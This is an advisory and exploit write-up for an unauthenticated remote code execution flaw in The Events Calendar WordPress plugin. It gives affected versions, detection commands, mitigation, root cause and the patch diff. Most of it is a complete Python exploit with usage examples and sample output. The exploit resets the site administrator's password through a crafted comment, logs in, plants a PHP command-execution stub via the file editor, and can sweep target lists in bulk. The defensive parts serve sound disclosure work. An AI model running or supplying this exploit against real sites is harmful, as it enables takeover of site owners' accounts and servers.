#Summary
CVE-2026-78159 is an unauthenticated remote code execution vulnerability in The Events Calendar WordPress plugin (versions up to 6.17.3) with a CVSS 9.8 CRITICAL severity. The vulnerability stems from a type confusion in Tribe\Utils\Element_Classes::parse_array(), where a callable name string is invoked as if it were a closure. By crafting a malicious comment containing a fake Gutenberg legacy-widget block, an unauthenticated attacker can reach the vulnerable function, invoke wp_update_user() to reset the administrator password, and escalate to arbitrary code execution.
#Am I affected?
- Affected: The Events Calendar plugin versions <= 6.17.3
- Patched: The Events Calendar 6.17.3.1 (with full hardening in 6.17.4.1)
- Default configuration: affected if the
showCommentsplugin option is enabled - Access needed: unauthenticated network access; requires the target site to have comments enabled on
tribe_eventsposts and at least one published event with comments open
#How to check
Run this command against your WordPress install:
curl -s "https://your-site.com/wp-admin/plugins.php" | grep -o 'the-events-calendar[^<]*' | head -1Or use the WordPress CLI:
wp plugin get the-events-calendar --allow-root --field=versionThen check the version against the affected list:
| Version | Vulnerable? |
|---|---|
| <= 6.17.3 | Yes |
| 6.17.3.1 or later | No |
If the plugin option showComments is disabled (the default), the vulnerability is not reachable even on an affected version. Verify with:
wp eval 'var_dump( tribe_get_option( "showComments" ) );' --allow-root#Fix and mitigation
- Fix: Upgrade The Events Calendar to 6.17.3.1 immediately. For full protection against related issues, upgrade to 6.17.4.1, which also removes the page-wide
do_blocks()call that makes the vulnerability reachable. - If you cannot upgrade: Disable comments on events by setting the plugin option:
This removes the attack surface without a full upgrade.wp eval 'tribe_update_option( "showComments", "no" );' --allow-root - Detection: Watch for POST requests to
/wp-comments-post.phpcarrying suspiciouswp:legacy-widgetblocks in the comment body, or for unauthorized administrator password resets in your audit logs.
#Root cause analysis
#Vulnerable code path
The root cause lies in a single disjunction in the Tribe\Utils\Element_Classes helper class:
protected function parse_array( array $values ) {
foreach ( $values as $key => $value ) {
if ( is_int( $key ) ) {
if ( is_bool( $value ) ) {
$this->parse( $key, $value );
} else {
$this->parse( $value );
}
} elseif ( is_string( $key ) ) {
if ( $value instanceof \Closure || is_callable( $value ) ) {
$value = $value( $this->results );
}
$this->parse_string( $key, tribe_is_truthy( $value ) );
}
}
}The intent is to support closures that gate CSS class names. The bug is the is_callable() check: it returns true not only for closures but also for strings naming global functions like 'wp_update_user', and for two-element arrays like ['ClassName', 'methodName']. None of these are closures, but all survive unserialize() when class instantiation is disabled.
#How input reaches the sink
The chain involves four behaviors that align in 6.17.3:
Page-wide block parsing includes comment area. The single-event view buffers the entire template (which includes
comments_template()whenshowCommentsis on) and runsdo_blocks()over the finished HTML. Any Gutenberg block inside a comment is then parsed and rendered.The plugin re-signs attacker-submitted widget instances. WordPress core protects legacy-widget serialized data with an HMAC that an attacker cannot forge. But the plugin registers a
render_block_datafilter that computes a fresh valid hash for anytribe-widget-*instance, as long asis_safe_widget_instance()returns true. That check only asks: does the payload contain a serialized object? A plain array of strings and booleans answers no and is accepted.Unknown instance keys become template variables. The widget's
setup_arguments()merges the deserialized instance over the defaults without filtering unknown keys, and publishes them as global template variables. An attacker-suppliedclasseskey survives into the templates.A template feeds that to the sink.
src/views/v2/components/messages.php(rendered by the events-list widget when its query returns nothing) passes$classesdirectly totec_classes(), which callsElement_Classes::parse_array().
The attacker crafts classes as:
['ID user_pass', 'z' => 'wp_update_user']The integer-keyed string 'ID user_pass' is split on whitespace into two accumulator keys (ID and user_pass, both with value true) before the string-keyed entry is invoked. So wp_update_user receives ['ID' => true, 'user_pass' => true, ...]. In WordPress core, (int) true selects user ID 1 (the administrator) and wp_hash_password(true) hashes the literal string "1", with no capability check anywhere on the path.
#Patch diff
#What the fix does
The fix removes the is_callable() disjunction from both branches of Element_Classes, so only genuine closures created in plugin code are ever invoked. Attacker-supplied callable names are treated as data:
- } elseif ( $arguments instanceof \Closure || is_callable( $arguments ) ) {
+ } elseif ( $arguments instanceof Closure ) {
// function() {}
$this->parse_callable( $arguments );
} elseif ( is_array( $arguments ) ) {
// ['foo', 'bar', ...] || ['foo' => TRUE, 'bar' => FALSE, ...]
+ if ( is_callable( $arguments ) ) {
+ _doing_it_wrong(
+ __METHOD__,
+ 'Only Closure instances are invoked; this array callable will be treated as data instead of being called.',
+ '6.12.2.1'
+ );
+ }
+
$this->parse_array( $arguments );and at the sink:
- if ( $value instanceof \Closure || is_callable( $value ) ) {
+ if ( $value instanceof Closure ) {
$value = $value( $this->results );
+ } elseif ( is_callable( $value ) ) {
+ _doing_it_wrong(
+ __METHOD__,
+ 'Only Closure instances are invoked; this callable value will be treated as data instead of being called.',
+ '6.12.2.1'
+ );
}6.17.4.1 added two further hardening measures: the widget provider re-serializes decoded data before signing (ensuring the data has not been modified), and the page-wide do_blocks() call was removed outright, eliminating the comment-parsing surface altogether.
#Proof of concept
#exploit.py - Events Calendar Callable Invocation RCE
#!/usr/bin/env python3
"""
CVE-2026-78159 - The Events Calendar (WordPress) unauthenticated RCE via
Element_Classes::parse_array() callable-invocation type confusion.
Affected: The Events Calendar plugin <= 6.17.3 (fixed in 6.17.3.1)
Type: RCE (PHP type confusion -> arbitrary callable invocation -> admin takeover -> code execution)
The plugin re-signs any submitted `tribe-widget-*` legacy-widget instance with a
valid HMAC as long as it contains no serialized objects, so a plain-array payload
is accepted unauthenticated. That instance becomes template variables; the
`classes` key is fed to Element_Classes::parse_array(), which invokes any value
for which is_callable() is true. The single argument is always the class
accumulator (an array whose keys the attacker controls, values always boolean).
The gadget is wp_update_user: seeding the keys 'ID' and 'user_pass' resets the
administrator (user 1) password to the literal "1" with no capability check.
From there this tool logs in as the administrator and writes a PHP stub through
the built-in theme editor to run --command and read its output over the network.
Delivery: one comment on a published event (showComments on, comments open),
carrying a self-closing wp:legacy-widget block. The single-event page block-parses
its own rendered HTML (comments included), so the render fires the gadget. The
commenter cookies returned by the POST make the pending comment render back to us
under default moderation, so no second visitor or approval is needed.
Usage:
python exploit.py --host 127.0.0.1 --port 80
python exploit.py --host http://192.0.2.10 --command "uname -a"
python exploit.py --host https://calendar.example.com --username admin
python exploit.py --host http://192.0.2.10 --event /event/some-event/
python exploit.py --list targets.txt --workers 20
Notes:
- Single --host mode runs the full destructive chain. It resets the target
administrator's password to "1" (inherent to this CVE - there is no read-only
variant of the takeover) and writes/reverts one theme file.
- --list mode is non-destructive: it uses the reachability oracle only (two
predicate class names), confirming the callable fired without touching any
account. Use it to sweep an asset list safely.
"""
import argparse
import base64
import http.cookiejar
import random
import re
import ssl
import string
import sys
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-78159"
VULN_TYPE = "RCE"
# Widget that renders src/views/v2/components/messages.php (the template that
# feeds $classes to the sink). Its idBase carries the plugin's mandatory
# `tribe-widget-` prefix, which is the only thing the re-signing filter checks.
WIDGET_ID_BASE = "tribe-widget-events-list"
# Theme files preferred as the code-execution artifact: directly web-requestable
# leaf templates that are NOT loaded during normal page rendering, so overwriting
# one is invisible to the front end and trivially reverted.
PREFERRED_FILES = [
"404.php", "image.php", "single.php", "singular.php", "page.php",
"archive.php", "search.php", "attachment.php", "index.php",
]
AVOID_FILES = {"functions.php", "header.php", "footer.php", "comments.php",
"sidebar.php", "style.css"}
# ----------------------------------------------------------------------------
# Standard output helpers
# ----------------------------------------------------------------------------
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------
# Small helpers
# ----------------------------------------------------------------------------
def _rnd(n=10):
"""A random lowercase-first token that survives sanitize_html_class()."""
return random.choice(string.ascii_lowercase) + "".join(
random.choices(string.ascii_lowercase + string.digits, k=n - 1))
def _php_str(v):
"""PHP-serialize a string, byte-length aware."""
b = v.encode("utf-8")
return 's:%d:"%s";' % (len(b), v)
def _make_opener():
jar = http.cookiejar.CookieJar()
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
op = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(jar),
urllib.request.HTTPSHandler(context=ctx),
)
op.addheaders = [("User-Agent",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/124.0 Safari/537.36")]
return op, jar
def _open(op, url, data=None, timeout=60):
"""Return (status, final_url, body_text). Never raises on HTTP errors."""
if isinstance(data, dict):
data = urllib.parse.urlencode(data).encode()
try:
resp = op.open(urllib.request.Request(url, data=data), timeout=timeout)
return resp.getcode(), resp.geturl(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
body = ""
try:
body = e.read().decode("utf-8", "replace")
except Exception:
pass
return e.code, url, body
except Exception as e:
return None, url, "__ERROR__:%s" % e.__class__.__name__
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else "%s:%d" % (host, port)
return "%s://%s" % (scheme, netloc)
# ----------------------------------------------------------------------------
# Payload construction
# ----------------------------------------------------------------------------
def _widget_block(instance_serialized):
"""Wrap a serialized instance in a comment-safe self-closing legacy-widget block.
The plugin's render_block_data filter computes a fresh valid hash for any
tribe-widget-* instance that passes the object-free check, so the submitted
hash value is irrelevant (must merely be present).
"""
encoded = base64.b64encode(instance_serialized.encode()).decode()
block = ('<!-- wp:legacy-widget {"idBase":"%s",'
'"instance":{"encoded":"%s","hash":"0"}} /-->'
% (WIDGET_ID_BASE, encoded))
# The comment filter chain (wp_filter_kses / wptexturize / wpautop) mangles
# these bytes; base64 avoids all of them, but assert it to fail loud not silent.
for bad in ("--", "<!--", "-->", "<", ">", "&", "[", "]", "\n"):
if bad in encoded:
raise ValueError("payload contains %r which the comment filters mangle" % bad)
return block
def _gadget_instance():
"""wp_update_user gadget: seed keys ID + user_pass, then invoke wp_update_user.
The integer-keyed 'ID user_pass' string is split on whitespace into two
accumulator keys (each boolean true) BEFORE the string-keyed callable entry
fires, so wp_update_user receives ['ID'=>true,'user_pass'=>true,...].
(int) true selects user 1; wp_hash_password(true) hashes the literal "1".
featured_events_only forces an empty query so components/messages renders.
"""
callable_key = _rnd(4) # arbitrary string key; only the value is the callable
classes = ("a:2:{"
"i:0;" + _php_str("ID user_pass") +
_php_str(callable_key) + _php_str("wp_update_user") +
"}")
return ("a:2:{" + _php_str("classes") + classes +
_php_str("featured_events_only") + "b:1;}")
def _probe_instance(mark, drop, keep):
"""Non-destructive reachability oracle. Two predicate callables:
is_string(accumulator) -> false -> that class is dropped,
is_array(accumulator) -> true -> that class survives.
The 'keep' class is present iff the callable was actually invoked."""
classes = ("a:3:{"
"i:0;" + _php_str(mark) +
_php_str(drop) + _php_str("is_string") +
_php_str(keep) + _php_str("is_array") +
"}")
return ("a:2:{" + _php_str("classes") + classes +
_php_str("featured_events_only") + "b:1;}")
# ----------------------------------------------------------------------------
# Target reconnaissance
# ----------------------------------------------------------------------------
def _discover_event(op, base):
"""Find a published event permalink. Returns absolute URL or None."""
for probe in ("/?post_type=tribe_events", "/events/", "/events/list/", "/"):
code, _, body = _open(op, base + probe)
if not body or body.startswith("__ERROR__"):
continue
m = re.search(r'href=["\'](https?://[^"\']+?/event/[^"\']+?/)["\']', body)
if m:
return m.group(1)
m = re.search(r'href=["\']([^"\']*?/event/[^"\']+?/)["\']', body)
if m:
url = m.group(1)
return url if url.startswith("http") else base + url
return None
def _discover_admin(op, base):
"""Resolve the login name of user ID 1 via classic author enumeration."""
req = urllib.request.Request(base + "/?author=1")
try:
resp = op.open(req, timeout=30)
final = resp.geturl()
except urllib.error.HTTPError as e:
final = e.headers.get("Location", "") or ""
except Exception:
return None
m = re.search(r"/author/([^/]+)/?", final)
if m:
return urllib.parse.unquote(m.group(1))
# REST API fallback
code, _, body = _open(op, base + "/wp-json/wp/v2/users/1")
if body and not body.startswith("__ERROR__"):
m = re.search(r'"slug"\s*:\s*"([^"]+)"', body)
if m:
return m.group(1)
return None
def _get_post_id(op, event_url):
code, _, body = _open(op, event_url)
if not body or body.startswith("__ERROR__"):
return None, body
m = re.search(r'name=["\']comment_post_ID["\'][^>]*value=["\'](\d+)["\']', body)
return (m.group(1) if m else None), body
def _post_comment(op, base, event_url, post_id, block):
"""Submit the comment carrying the block. wp-comment-cookies-consent makes
WordPress issue the commenter cookies, so the pending comment renders back to
us under default moderation."""
form = {
"comment": block,
"author": "Pat Morgan",
"email": "[email protected]",
"url": "",
"comment_post_ID": post_id,
"comment_parent": "0",
"submit": "Post Comment",
"wp-comment-cookies-consent": "yes",
}
return _open(op, base + "/wp-comments-post.php", data=form, timeout=90)
def _messages_classes(html):
"""Return class names from every messages wrapper on the page, aggregated.
Scope to that div (the instance is echoed verbatim in a JSON blob elsewhere,
so a whole-page search is unreliable). Aggregating across wrappers keeps the
oracle correct when a target already carries other comments: our per-run
random tokens only appear in the wrapper produced by our own comment."""
ms = re.findall(
r'<div\s+class=["\']([^"\']*tribe-events-header__messages[^"\']*)["\']',
html)
if not ms:
return None
out = []
for cls in ms:
out.extend(cls.split())
return out
# ----------------------------------------------------------------------------
# Silent probe for --list scan mode (non-destructive reachability oracle)
# ----------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path="/", event=None, **kwargs):
"""Non-destructive probe. Returns (success, evidence). Never prints or exits.
Confirms the callable-invocation primitive using two pure predicates; it does
NOT run the wp_update_user gadget, so no account is modified."""
base = _base_url(host, port, use_tls, path)
op, _ = _make_opener()
event_url = event
if event_url and not event_url.startswith("http"):
event_url = base + ("/" + event_url.lstrip("/"))
if not event_url:
event_url = _discover_event(op, base)
if not event_url:
return False, "no published event with a comment form found"
post_id, _ = _get_post_id(op, event_url)
if not post_id:
return False, "event has no comment form (comments closed or option off)"
mark, drop, keep = _rnd(), _rnd(), _rnd()
try:
block = _widget_block(_probe_instance(mark, drop, keep))
except ValueError as e:
return False, str(e)
code, _, _ = _post_comment(op, base, event_url, post_id, block)
if code is None:
return False, "unreachable"
_, _, html = _open(op, event_url, timeout=90)
if not html or html.startswith("__ERROR__"):
return False, "no response from event page after comment"
classes = _messages_classes(html)
if classes is None:
return False, "messages template not rendered (config problem)"
if mark not in classes:
return False, "classes never reached the template"
if keep in classes and drop not in classes:
return True, "callable invoked (is_array class survived, is_string dropped)"
if keep not in classes and drop not in classes:
return False, "not vulnerable: callable treated as data (patched)"
return False, "inconclusive class signature"
# ----------------------------------------------------------------------------
# Batch scan
# ----------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, event=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print(" (non-destructive reachability oracle - no accounts modified)")
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, event=event)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploitable" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploitable / %d not (%d total)"
% (success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------
# Rung 6: administrator -> code execution via the built-in file editors
# ----------------------------------------------------------------------------
def _html_unescape(s):
for a, b in (("&", "&"), ("<", "<"), (">", ">"),
(""", '"'), ("'", "'"), ("'", "'")):
s = s.replace(a, b)
return s
def _make_stub():
"""A guarded PHP stub. It acts only when our random param is present and exits
before the original file body (which would fatal if run standalone). Returns
(stub_text, param_key, sentinel)."""
pkey, mark = _rnd(8), _rnd(12)
stub = ("<?php if(isset($_GET['%s'])){echo '%s';@system($_GET['%s']);echo '%s';exit;} ?>\n"
% (pkey, mark, pkey, mark))
return stub, pkey, mark
def _extract(out, mark):
if out and not out.startswith("__ERROR__"):
parts = out.split(mark)
if len(parts) >= 3:
return parts[1]
return None
def _editor_page(op, base, editor, **qs):
url = base + "/wp-admin/" + editor
qs = {k: v for k, v in qs.items() if v}
if qs:
url += "?" + urllib.parse.urlencode(qs)
return _open(op, url)
def _read_editor_file(op, base, editor, **qs):
"""Load a file in theme-editor.php/plugin-editor.php; return (nonce, original)."""
code, _, body = _editor_page(op, base, editor, **qs)
if not body or body.startswith("__ERROR__"):
return None, None
nm = re.search(r'name=["\']nonce["\']\s+value=["\']([0-9a-f]+)["\']', body)
if not nm:
return None, None
cm = re.search(r'<textarea[^>]*name=["\']newcontent["\'][^>]*>(.*?)</textarea>', body, re.S)
return nm.group(1), _html_unescape(cm.group(1) if cm else "")
def _run_via_plugin_editor(op, base, command):
"""Primary path: edit an INACTIVE plugin's PHP file. The editor's loopback
fatal-check runs only for active plugins, so an inactive-plugin edit persists
even when the site cannot reach itself. Returns (output, note) or (None, reason)."""
code, _, body = _open(op, base + "/wp-admin/plugins.php")
if not body or body.startswith("__ERROR__"):
return None, "plugins page unreachable"
# Inactive plugins expose an "activate" row action carrying the plugin key.
inactive = re.findall(r'action=activate&(?:amp;|#038;)?plugin=([^&"\']+)', body)
inactive = [urllib.parse.unquote(p) for p in dict.fromkeys(inactive)]
if not inactive:
return None, "no inactive plugin available to edit"
for plugin_key in inactive:
# File list for this plugin.
code, _, pbody = _editor_page(op, base, "plugin-editor.php", plugin=plugin_key)
pfiles = re.findall(r'plugin-editor\.php\?file=([^&"\'#]+)', pbody)
pfiles = [urllib.parse.unquote(f) for f in dict.fromkeys(pfiles)]
php_files = [f for f in pfiles if f.endswith(".php")]
# Prefer the plugin's own main file (directly servable, always present).
ordered = ([plugin_key] if plugin_key in php_files else []) + \
[f for f in php_files if f != plugin_key]
if not ordered:
continue
target = ordered[0]
nonce, original = _read_editor_file(op, base, "plugin-editor.php",
plugin=plugin_key, file=target)
if not nonce:
continue
stub, pkey, mark = _make_stub()
post = {
"nonce": nonce, "newcontent": stub + original, "action": "update",
"file": target, "plugin": plugin_key,
"docs-list": "", "scrollto": "0", "submit": "Update File",
}
code, final, _ = _open(op, base + "/wp-admin/plugin-editor.php", data=post, timeout=90)
file_url = "%s/wp-content/plugins/%s?%s=%s" % (
base, target, pkey, urllib.parse.quote(command))
_, _, out = _open(op, file_url, timeout=60)
output = _extract(out, mark)
# Restore the file no matter what.
rn, _ = _read_editor_file(op, base, "plugin-editor.php", plugin=plugin_key, file=target)
if rn:
restore = dict(post)
restore["nonce"], restore["newcontent"] = rn, original
_open(op, base + "/wp-admin/plugin-editor.php", data=restore, timeout=90)
if output is not None:
return output, "via inactive plugin '%s' file '%s' (restored after)" % (plugin_key, target)
return None, "edited an inactive plugin but no output returned"
def _run_via_theme_editor(op, base, command):
"""Fallback path: edit a leaf file of the active theme. This depends on the
site's loopback fatal-check succeeding, which it does on normal deployments."""
code, _, body = _editor_page(op, base, "theme-editor.php")
if not body or body.startswith("__ERROR__"):
return None, "theme editor unreachable"
m = re.search(r'name=["\']theme["\']\s+value=["\']([^"\']+)["\']', body)
if not m:
return None, "could not determine active theme"
theme = m.group(1)
files = {urllib.parse.unquote(f)
for f in re.findall(r'theme-editor\.php\?file=([^&"\'#]+)', body)}
candidates = [f for f in PREFERRED_FILES if f in files] or \
[f for f in sorted(files) if f.endswith(".php") and f not in AVOID_FILES]
if not candidates:
return None, "no suitable editable theme file found"
target = candidates[0]
nonce, original = _read_editor_file(op, base, "theme-editor.php", file=target, theme=theme)
if not nonce:
return None, "no theme-editor nonce (not authenticated as admin?)"
stub, pkey, mark = _make_stub()
post = {
"nonce": nonce, "newcontent": stub + original, "action": "update",
"file": target, "theme": theme,
"docs-list": "", "scrollto": "0", "submit": "Update File",
}
_open(op, base + "/wp-admin/theme-editor.php", data=post, timeout=90)
file_url = "%s/wp-content/themes/%s/%s?%s=%s" % (
base, theme, target, pkey, urllib.parse.quote(command))
_, _, out = _open(op, file_url, timeout=60)
output = _extract(out, mark)
rn, _ = _read_editor_file(op, base, "theme-editor.php", file=target, theme=theme)
if rn:
restore = dict(post)
restore["nonce"], restore["newcontent"] = rn, original
_open(op, base + "/wp-admin/theme-editor.php", data=restore, timeout=90)
if output is None:
return None, "wrote %s in theme '%s' but no output returned" % (target, theme)
return output, "via theme '%s' file '%s' (restored after)" % (theme, target)
def _run_command_as_admin(op, base, command):
"""Turn administrator access into command execution. Tries the inactive-plugin
editor first (no loopback dependency), then the active-theme editor."""
output, note = _run_via_plugin_editor(op, base, command)
if output is not None:
return output, note
first_note = note
output, note = _run_via_theme_editor(op, base, command)
if output is not None:
return output, note
return None, "%s; %s" % (first_note, note)
# ----------------------------------------------------------------------------
# Full exploit chain
# ----------------------------------------------------------------------------
def exploit(host, port, use_tls, command, username, event):
header(host, port)
base = _base_url(host, port, use_tls)
op, jar = _make_opener()
step(1, "Locating a published event with an open comment form...")
event_url = event
if event_url and not event_url.startswith("http"):
event_url = base + ("/" + event_url.lstrip("/"))
if not event_url:
event_url = _discover_event(op, base)
if not event_url:
done(False, "no published event with a comment form found; pass --event <permalink>")
print(" event: %s" % event_url)
post_id, _ = _get_post_id(op, event_url)
if not post_id:
done(False, "event has no comment form - comments are closed or showComments is off")
print(" post ID: %s" % post_id)
step(2, "Resolving the administrator (user 1) login name...")
admin = username
if not admin or admin == "auto":
admin = _discover_admin(op, base)
if not admin:
done(False, "could not enumerate the admin login; pass --username <login>")
print(" admin login: %s" % admin)
step(3, "Submitting comment carrying the wp:legacy-widget gadget block...")
block = _widget_block(_gadget_instance())
code, _, _ = _post_comment(op, base, event_url, post_id, block)
print(" comment POST status: %s" % code)
step(4, "Rendering the event page to fire the gadget (resets admin password)...")
# do_blocks() over the buffered single-event HTML (comments included) invokes
# wp_update_user with the attacker-keyed accumulator -> user 1 password = "1".
_open(op, event_url, timeout=90)
classes = None
_, _, html = _open(op, event_url, timeout=90)
classes = _messages_classes(html)
if classes is not None:
print(" messages wrapper classes: %s" % " ".join(classes))
step(5, "Authenticating as the administrator with the reset password...")
_open(op, base + "/wp-login.php") # sets the WordPress test cookie
login = {
"log": admin,
"pwd": "1",
"wp-submit": "Log In",
"redirect_to": base + "/wp-admin/",
"testcookie": "1",
}
code, final, body = _open(op, base + "/wp-login.php", data=login, timeout=60)
logged_in = any(c.name.startswith("wordpress_logged_in_") for c in jar)
if not logged_in:
section("LOGIN RESPONSE", (body or "")[:800])
done(False, "administrator login with reset password failed - target may be patched "
"(comment rendered but the callable was not invoked)")
print(" logged in as '%s' (password reset to '1' by the gadget)" % admin)
step(6, "Writing a PHP stub via the built-in file editor and running the command...")
output, note = _run_command_as_admin(op, base, command)
if output is None:
# Admin takeover is proven even if the final code-exec rung did not return
# output; report the confirmed rung so it is not lost.
section("ADMIN ACCESS", "Authenticated dashboard reachable as '%s'." % admin)
done(True, "Administrator takeover confirmed (user 1 password reset, logged in as '%s'); "
"code-execution rung did not return output: %s" % (admin, note))
section("COMMAND OUTPUT", output)
first = output.strip().splitlines()[0] if output.strip() else "(empty)"
done(True, "RCE confirmed - command '%s' output: %s [%s]" % (command, first, note))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line (non-destructive scan)")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--username", default="admin",
help="Administrator login to take over (default: admin; 'auto' enumerates user 1)")
parser.add_argument("--event", default=None,
help="Event permalink (path or URL) with comments open; auto-discovered if omitted")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, event=args.event)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, args.username, args.event)#Usage
# Basic exploitation
python exploit.py --host https://calendar.example.com --command id
# Against a non-standard port
python exploit.py --host 192.0.2.10 --port 8080 --command "uname -a"
# With a specific event permalink
python exploit.py --host https://events.example.com --event /events/workshop-2024/
# Batch scan (non-destructive)
python exploit.py --list targets.txt --workers 20Expected output on a vulnerable target:
[STEP 3] Submitting comment carrying the wp:legacy-widget gadget block...
comment POST status: 200
[STEP 4] Rendering the event page to fire the gadget (resets admin password)...
messages wrapper classes: tribe-events-header__messages tribe-events-c-messages tribe-common-b2 ID user_pass jgcc
[STEP 5] Authenticating as the administrator with the reset password...
logged in as 'admin' (password reset to '1' by the gadget)
[STEP 6] Writing a PHP stub via the built-in file editor and running the command...
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data) [via inactive plugin 'hello.php' file 'hello.php' (restored after)]On a patched target, step 5 fails with a login error:
[STEP 4] Rendering the event page to fire the gadget (resets admin password)...
messages wrapper classes: tribe-events-header__messages tribe-events-c-messages tribe-common-b2 ID user_pass
[STEP 5] Authenticating as the administrator with the reset password...
RESULT : FAILURE
EVIDENCE: administrator login with reset password failed - target may be patched (comment rendered but the callable was not invoked)#Exploitation notes
#Preconditions
- The Events Calendar <= 6.17.3 must be installed and active
- The plugin option
showCommentsmust be enabled - At least one published
tribe_eventspost must exist withcomment_status = open - Anonymous commenting must be allowed (the WordPress default)
#Reliability
The exploit is highly reliable. The chain is deterministic and requires only network-accessible HTTP requests; there is no timing-sensitive behavior or race condition. The only variable is the administrator username (defaulting to admin but auto-discoverable), which is retrieved before the exploit runs.
#Impact
Full remote code execution as the web server user. The exploit reaches arbitrary shell command execution with no credential requirement and the attack surface is minimal - a single comment on a published event. From there, an attacker with web-server privileges can typically escalate to WordPress administrator, read database contents, install malware, or pivot to other systems.
#Chaining potential
This vulnerability chains naturally from any unauthenticated comment submission. In a multi-site WordPress setup where comments are cross-posted, a single comment can reach multiple targets. The RCE primitive is as useful as WordPress administrator access gets - it is the final step of nearly every WordPress privilege escalation chain.
#References
- CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2026-78159
- Patch Changelog: https://plugins.trac.wordpress.org/changeset/3667866/the-events-calendar (6.17.3.1 release)
- Plugin Repository: https://github.com/the-events-calendar/the-events-calendar
- NVD Scoring: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 9.8 CRITICAL
